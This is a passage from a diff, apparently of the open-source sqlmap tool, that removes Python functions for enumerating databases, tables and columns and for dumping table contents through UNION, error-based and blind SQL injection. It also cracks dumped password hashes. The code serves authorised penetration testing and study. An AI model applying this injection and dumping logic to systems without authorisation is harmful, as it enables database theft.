kb.data.cachedTables[db] = tables - else: - warnMsg = "unable to retrieve the table names " - warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) - - if isNoneValue(kb.data.cachedTables): - kb.data.cachedTables.clear() - - if not kb.data.cachedTables: - errMsg = "unable to retrieve the table names for any database" - if bruteForce is None: - logger.error(errMsg) - return self.getTables(bruteForce=True) - else: - raise sqlmapNoneDataException, errMsg - else: - for db, tables in kb.data.cachedTables.items(): - kb.data.cachedTables[db] = sorted(tables) if tables else tables - - return kb.data.cachedTables - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None): - self.forceDbmsEnum() - - if conf.db is None or conf.db == CURRENT_DB: - if conf.db is None: - warnMsg = "missing database parameter, sqlmap is going " - warnMsg += "to use the current database to enumerate " - warnMsg += "table(s) columns" - logger.warn(warnMsg) - - conf.db = self.getCurrentDb() - - elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.db = conf.db.upper() - - if ',' in conf.db: - errMsg = "only one database name is allowed when enumerating " - errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg - - conf.db = safeSQLIdentificatorNaming(conf.db) - - if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.col = conf.col.upper() - - colList = conf.col.split(",") - else: - colList = [] - - for col in colList: - colList[colList.index(col)] = safeSQLIdentificatorNaming(col) - - colList = filter(None, colList) - - if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.tbl = conf.tbl.upper() - - tblList = conf.tbl.split(",") - else: - self.getTables() - - if len(kb.data.cachedTables) > 0: - if conf.db in kb.data.cachedTables: - tblList = kb.data.cachedTables[conf.db] - else: - tblList = kb.data.cachedTables.values() - - if isinstance(tblList[0], (set, tuple, list)): - tblList = tblList[0] - - tblList = list(tblList) - else: - errMsg = "unable to retrieve the tables " - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg - - for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) - - if bruteForce is None: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) - bruteForce = True - - elif Backend.isDbms(DBMS.ACCESS): - errMsg = "cannot retrieve column names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) - bruteForce = True - - if bruteForce or colList and conf.disableLike: - resumeAvailable = False - - for tbl in tblList: - for db, table, colName, colType in kb.brute.columns: - if db == conf.db and table == tbl: - resumeAvailable = True - break - - if resumeAvailable or colList: - columns = {} - - for column in colList: - columns[column] = None - - for tbl in tblList: - for db, table, colName, colType in kb.brute.columns: - if db == conf.db and table == tbl: - columns[colName] = colType - - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} - - return kb.data.cachedColumns - - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") - test = readInput(message, default="Y" if "Y" in message else "N") - - if test[0] in ("n", "N"): - return - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - return columnExists(paths.COMMON_COLUMNS) - - rootQuery = queries[Backend.getIdentifiedDbms()].columns - condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - return {conf.db: kb.data.cachedColumns[conf.db]} - - infoMsg = "fetching columns " - - if len(colList) > 0: - if colTuple is None: - colConsider, colCondParam = self.likeOrExact("column") - else: - colConsider, colCondParam = colTuple - condQueryStr = "%%s%s" % colCondParam - condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - - if colConsider == "1": - infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - else: - infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - else: - condQuery = "" - - infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper()) - query += condQuery - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, - conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - query += condQuery.replace("[DB]", conf.db) - elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.inband.query % tbl - - value = inject.getValue(query, blind=False) - - if Backend.isDbms(DBMS.SQLITE): - parseSqliteTableSchema(value) - elif not isNoneValue(value): - table = {} - columns = {} - - for columnData in value: - if not isNoneValue(columnData): - name = safeSQLIdentificatorNaming(columnData[0]) - - if name: - if len(columnData) == 1: - columns[name] = "" - else: - columns[name] = columnData[1] - - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table - - elif isInferenceAvailable() and not conf.direct: - for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: - infoMsg = "fetched tables' columns on " - infoMsg += "database '%s'" % conf.db - logger.info(infoMsg) - - return {conf.db: kb.data.cachedColumns[conf.db]} - - infoMsg = "fetching columns " - - if len(colList) > 0: - if colTuple is None: - colConsider, colCondParam = self.likeOrExact("column") - else: - colConsider, colCondParam = colTuple - condQueryStr = "%%s%s" % colCondParam - condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - - if colConsider == "1": - infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - else: - infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - else: - condQuery = "" - - infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query += condQuery - - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper()) - query += condQuery - - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.count % (conf.db, conf.db, \ - unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - query += condQuery.replace("[DB]", conf.db) - - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.count % (tbl) - query += condQuery - - elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % tbl - value = inject.getValue(query, inband=False, error=False) - parseSqliteTableSchema(value) - return kb.data.cachedColumns - - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): - errMsg = "unable to retrieve the number of columns " - errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.error(errMsg) - - continue - - table = {} - columns = {} - - indexRange = getLimitRange(count) - - for index in indexRange: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query += condQuery - field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper()) - query += condQuery - field = None - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db, - conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - query += condQuery.replace("[DB]", conf.db) - field = condition.replace("[DB]", conf.db) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (tbl) - query += condQuery - field = None - - query = agent.limitQuery(index, query, field) - column = inject.getValue(query, inband=False, error=False) - - if not isNoneValue(column): - if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column) - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, - conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query2 % (tbl, column) - - colType = inject.getValue(query, inband=False, error=False) - - if Backend.isDbms(DBMS.FIREBIRD): - colType = firebirdTypes.get(colType, colType) - - column = safeSQLIdentificatorNaming(column) - columns[column] = colType - else: - column = safeSQLIdentificatorNaming(column) - columns[column] = None - - if columns: - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table - - if not kb.data.cachedColumns: - errMsg = "unable to retrieve the columns for any " - errMsg += "table in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.error(errMsg) - - if bruteForce is None: - return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) - - return kb.data.cachedColumns - - def getSchema(self): - infoMsg = "enumerating database management system schema" - logger.info(infoMsg) - - pushValue(conf.db) - pushValue(conf.tbl) - pushValue(conf.col) - - conf.db = None - conf.tbl = None - conf.col = None - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - - self.getTables() - - infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ - Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ - else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ - kb.data.cachedTables.items()]) - logger.info(infoMsg) - - for db, tables in kb.data.cachedTables.items(): - for tbl in tables: - conf.db = db - conf.tbl = tbl - - self.getColumns() - - conf.col = popValue() - conf.tbl = popValue() - conf.db = popValue() - - return kb.data.cachedColumns - - def __tableGetCount(self, db, table): - if Backend.isDbms(DBMS.DB2): - query = "SELECT %s FROM %s.%s--" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True)) - else: - query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) - - count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if isNumPosStrValue(count): - if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} - - if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) - else: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] - - def getCount(self): - if not conf.tbl: - warnMsg = "missing table parameter, sqlmap will retrieve " - warnMsg += "the number of entries for all database " - warnMsg += "management system databases' tables" - logger.warn(warnMsg) - - elif "." in conf.tbl: - if not conf.db: - conf.db, conf.tbl = conf.tbl.split(".") - - if conf.tbl is not None and conf.db is None: - warnMsg = "missing database parameter, sqlmap is going to " - warnMsg += "use the current database to retrieve the " - warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) - logger.warn(warnMsg) - - conf.db = self.getCurrentDb() - - self.forceDbmsEnum() - - if conf.tbl: - for table in conf.tbl.split(","): - self.__tableGetCount(conf.db, table) - else: - self.getTables() - - for db, tables in kb.data.cachedTables.items(): - for table in tables: - self.__tableGetCount(db, table) - - return kb.data.cachedCounts - - def __pivotDumpTable(self, table, colList, count=None, blind=True): - lengths = {} - entries = {} - - dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind - - validColumnList = False - validPivotValue = False - - if count is None: - query = dumpNode.count % table - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, expected=EXPECTED.INT) - - if isinstance(count, basestring) and count.isdigit(): - count = int(count) - - if count == 0: - infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) - logger.info(infoMsg) - - for column in colList: - lengths[column] = len(column) - entries[column] = [] - - return entries, lengths - - elif not isNumPosStrValue(count): - return None - - for column in colList: - lengths[column] = 0 - entries[column] = BigArray() - - colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) - - for column in colList: - infoMsg = "fetching number of distinct " - infoMsg += "values for column '%s'" % column - logger.info(infoMsg) - - query = dumpNode.count2 % (column, table) - - if blind: - value = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - else: - value = inject.getValue(query, blind=False, expected=EXPECTED.INT) - - if isNumPosStrValue(value): - validColumnList = True - - if value == count: - infoMsg = "using column '%s' as a pivot " % column - infoMsg += "for retrieving row data" - logger.info(infoMsg) - - validPivotValue = True - - colList.remove(column) - colList.insert(0, column) - break - - if not validColumnList: - errMsg = "all column name(s) provided are non-existent" - raise sqlmapNoneDataException, errMsg - - if not validPivotValue: - warnMsg = "no proper pivot column provided (with unique values)." - warnMsg += " It won't be possible to retrieve all rows" - logger.warn(warnMsg) - - pivotValue = " " - breakRetrieval = False - - try: - for i in xrange(count): - if breakRetrieval: - break - - for column in colList: - # Correction for pivotValues with unrecognized/problematic chars - for char in ('\'', '?'): - if pivotValue and char in pivotValue and pivotValue[0] != char: - pivotValue = pivotValue.split(char)[0] - pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1) - break - if column == colList[0]: - query = dumpNode.query % (column, table, column, pivotValue) - else: - query = dumpNode.query2 % (column, table, colList[0], pivotValue) - - if blind: - value = inject.getValue(query, inband=False, error=False) - else: - value = inject.getValue(query, blind=False) - - if column == colList[0]: - if isNoneValue(value): - breakRetrieval = True - break - else: - pivotValue = safechardecode(value) - - if conf.limitStart or conf.limitStop: - if conf.limitStart and (i + 1) < conf.limitStart: - warnMsg = "skipping first %d pivot " % conf.limitStart - warnMsg += "point values" - singleTimeWarnMessage(warnMsg) - break - elif conf.limitStop and (i + 1) > conf.limitStop: - breakRetrieval = True - break - - value = "" if isNoneValue(value) else unArrayizeValue(value) - - lengths[column] = max(lengths[column], len(value) if value else 0) - entries[column].append(value) - - except KeyboardInterrupt: - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) - - except sqlmapConnectionException, e: - errMsg = "connection exception detected. sqlmap " - errMsg += "will display partial output" - errMsg += "'%s'" % e - logger.critical(errMsg) - - return entries, lengths - - def dumpTable(self, foundData=None): - self.forceDbmsEnum() - - if conf.db is None or conf.db == CURRENT_DB: - if conf.db is None: - warnMsg = "missing database parameter, sqlmap is going " - warnMsg += "to use the current database to enumerate " - warnMsg += "table(s) entries" - logger.warn(warnMsg) - - conf.db = self.getCurrentDb() - - elif conf.db is not None: - if Backend.isDbms(DBMS.ORACLE): - conf.db = conf.db.upper() - - if ',' in conf.db: - errMsg = "only one database name is allowed when enumerating " - errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg - - conf.db = safeSQLIdentificatorNaming(conf.db) - - if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - conf.tbl = conf.tbl.upper() - - tblList = conf.tbl.split(",") - else: - self.getTables() - - if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() - - if isinstance(tblList[0], (set, tuple, list)): - tblList = tblList[0] - else: - errMsg = "unable to retrieve the tables " - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg - - for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) - - for tbl in tblList: - conf.tbl = tbl - kb.data.dumpedTable = {} - - - if foundData is None: - kb.data.cachedColumns = {} - self.getColumns(onlyColNames=True) - else: - kb.data.cachedColumns = foundData - - try: - kb.dumpMode = True - - if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ - or safeSQLIdentificatorNaming(tbl, True) not in \ - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ - or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: - warnMsg = "unable to enumerate the columns for table " - warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) - warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) - warnMsg += ", skipping" if len(tblList) > 1 else "" - logger.warn(warnMsg) - - continue - - colList = sorted(filter(None, kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)].keys())) - colString = ", ".join(column for column in colList) - rootQuery = queries[Backend.getIdentifiedDbms()].dump_table - - infoMsg = "fetching entries" - if conf.col: - infoMsg += " of column(s) '%s'" % colString - infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - entriesCount = 0 - - if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]): - entries = [] - query = None - - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): - query = rootQuery.inband.query % (colString, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - # Partial inband and error - if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): - table = "%s.%s" % (conf.db, tbl) - - retVal = self.__pivotDumpTable(table, colList, blind=False) - - if retVal: - entries, _ = retVal - entries = zip(*[entries[colName] for colName in colList]) - else: - query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) - else: - query = rootQuery.inband.query % (colString, conf.db, tbl) - - if not entries and query: - entries = inject.getValue(query, blind=False, dump=True) - - if isNoneValue(entries): - entries = [] - elif isinstance(entries, basestring): - entries = [entries] - elif not isListLike(entries): - entries = [] - - entriesCount = len(entries) - - for index, column in enumerate(colList): - colLen = len(column) - - if column not in kb.data.dumpedTable: - kb.data.dumpedTable[column] = {"length": colLen, "values": BigArray()} - - for entry in entries: - if entry is None or len(entry) == 0: - continue - - if isinstance(entry, basestring): - colEntry = entry - else: - colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' - - colEntryLen = len({" ": NULL, "": BLANK}.get(getUnicode(colEntry), getUnicode(colEntry))) - maxLen = max(colLen, colEntryLen) - - if maxLen > kb.data.dumpedTable[column]["length"]: - kb.data.dumpedTable[column]["length"] = maxLen - - kb.data.dumpedTable[column]["values"].append(colEntry) - - if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: - infoMsg = "fetching number of " - if conf.col: - infoMsg += "column(s) '%s' " % colString - infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) - - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - query = rootQuery.blind.count % tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) - elif Backend.isDbms(DBMS.MAXDB): - query = rootQuery.blind.count % tbl - else: - query = rootQuery.blind.count % (conf.db, tbl) - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - lengths = {} - entries = {} - - if count == 0: - warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) - warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) - warnMsg += "appears to be empty" - logger.warn(warnMsg) - - for column in colList: - lengths[column] = len(column) - entries[column] = [] - - elif not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of " - if conf.col: - warnMsg += "column(s) '%s' " % colString - warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) - - continue - - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): - if Backend.isDbms(DBMS.ACCESS): - table = tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - table = "%s.%s" % (conf.db, tbl) - elif Backend.isDbms(DBMS.MAXDB): - table = "%s.%s" % (conf.db, tbl) - - retVal = self.__pivotDumpTable(table, colList, count, blind=True) - if retVal: - entries, lengths = retVal - - else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, dump=True, plusOne=plusOne) - - try: - for index in indexRange: - for column in colList: - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - query = rootQuery.blind.query % (column, conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = rootQuery.blind.query % (column, column, - tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), - index) - elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % (column, tbl, index) - - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, column, tbl) - - value = inject.getValue(query, inband=False, error=False, dump=True) - - lengths[column] = max(lengths[column], len(value) if value else 0) - entries[column].append(value) - - except KeyboardInterrupt: - clearConsoleLine() - warnMsg = "Ctrl+C detected in dumping phase" - logger.warn(warnMsg) - - for column, columnEntries in entries.items(): - length = max(lengths[column], len(column)) - - kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} - - entriesCount = len(columnEntries) - - if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): - warnMsg = "unable to retrieve the entries " - if conf.col: - warnMsg += "of columns '%s' " % colString - warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") - logger.warn(warnMsg) - else: - kb.data.dumpedTable["__infos__"] = {"count": entriesCount, - "table": safeSQLIdentificatorNaming(tbl, True), - "db": safeSQLIdentificatorNaming(conf.db)} - if not conf.disableHash: - attackDumpedTable() - - conf.dumper.dbTableValues(kb.data.dumpedTable) - - except sqlmapConnectionException, e: - errMsg = "connection exception detected in dumping phase: " - errMsg += "'%s'" % e - logger.critical(errMsg) - - finally: - kb.dumpMode = False - - def dumpAll(self): - if conf.db is not None and conf.tbl is None: - self.dumpTable() - return - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - raise sqlmapUnsupportedFeatureException, errMsg - - infoMsg = "sqlmap will dump entries of all tables from all databases now" - logger.info(infoMsg) - - conf.tbl = None - conf.col = None - - self.getTables() - - if kb.data.cachedTables: - if isinstance(kb.data.cachedTables, list): - kb.data.cachedTables = { None: kb.data.cachedTables } - - for db, tables in kb.data.cachedTables.items(): - conf.db = db - - for table in tables: - try: - conf.tbl = table - kb.data.cachedColumns = {} - kb.data.dumpedTable = {} - - self.dumpTable() - except sqlmapNoneDataException: - infoMsg = "skipping table '%s'" % table - logger.info(infoMsg) - - def dumpFoundColumn(self, dbs, foundCols, colConsider): - if not dbs: - warnMsg = "no databases have tables containing any of the " - warnMsg += "provided columns" - logger.warn(warnMsg) - return - - conf.dumper.dbColumns(foundCols, colConsider, dbs) - - message = "do you want to dump entries? [Y/n] " - output = readInput(message, default="Y") - - if output and output[0] not in ("y", "Y"): - return - - dumpFromDbs = [] - message = "which database(s)?\n[a]ll (default)\n" - - for db, tblData in dbs.items(): - if tblData: - message += "[%s]\n" % db - - message += "[q]uit" - test = readInput(message, default="a") - - if not test or test in ("a", "A"): - dumpFromDbs = dbs.keys() - elif test in ("q", "Q"): - return - else: - dumpFromDbs = test.replace(" ", "").split(",") - - for db, tblData in dbs.items(): - if db not in dumpFromDbs or not tblData: - continue - - conf.db = db - dumpFromTbls = [] - message = "which table(s) of database '%s'?\n" % db - message += "[a]ll (default)\n" - - for tbl in tblData: - message += "[%s]\n" % tbl - - message += "[s]kip\n" - message += "[q]uit" - test = readInput(message, default="a") - - if not test or test in ("a", "A"): - dumpFromTbls = tblData - elif test in ("s", "S"): - continue - elif test in ("q", "Q"): - return - else: - dumpFromTbls = test.replace(" ", "").split(",") - - for table, columns in tblData.items(): - if table not in dumpFromTbls: - continue - - conf.tbl = table - conf.col = ",".join(column for column in filter(None, sorted(columns))) - kb.data.cachedColumns = {} - kb.data.dumpedTable = {} - - data = self.dumpTable(dbs) - - if data: - conf.dumper.dbTableValues(data) - - def searchDb(self): - foundDbs = [] - rootQuery = queries[Backend.getIdentifiedDbms()].search_db - dbList = conf.db.split(",") - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - dbCond = rootQuery.inband.condition2 - else: - dbCond = rootQuery.inband.condition - - dbConsider, dbCondParam = self.likeOrExact("database") - - for db in dbList: - db = safeSQLIdentificatorNaming(db) - - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - db = db.upper() - - infoMsg = "searching database" - if dbConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) - - if conf.excludeSysDbs: - exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) - infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg) - else: - exclDbsQuery = "" - - dbQuery = "%s%s" % (dbCond, dbCondParam) - dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) - - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.inband.query2 - else: - query = rootQuery.inband.query - query += dbQuery - query += exclDbsQuery - values = inject.getValue(query, blind=False) - - if not isNoneValue(values): - if isinstance(values, basestring): - values = [values] - - for value in values: - value = safeSQLIdentificatorNaming(value) - foundDbs.append(value) - else: - infoMsg = "fetching number of databases" - if dbConsider == "1": - infoMsg += "s like" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) - - if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - query = rootQuery.blind.count2 - else: - query = rootQuery.blind.count - query += dbQuery - query 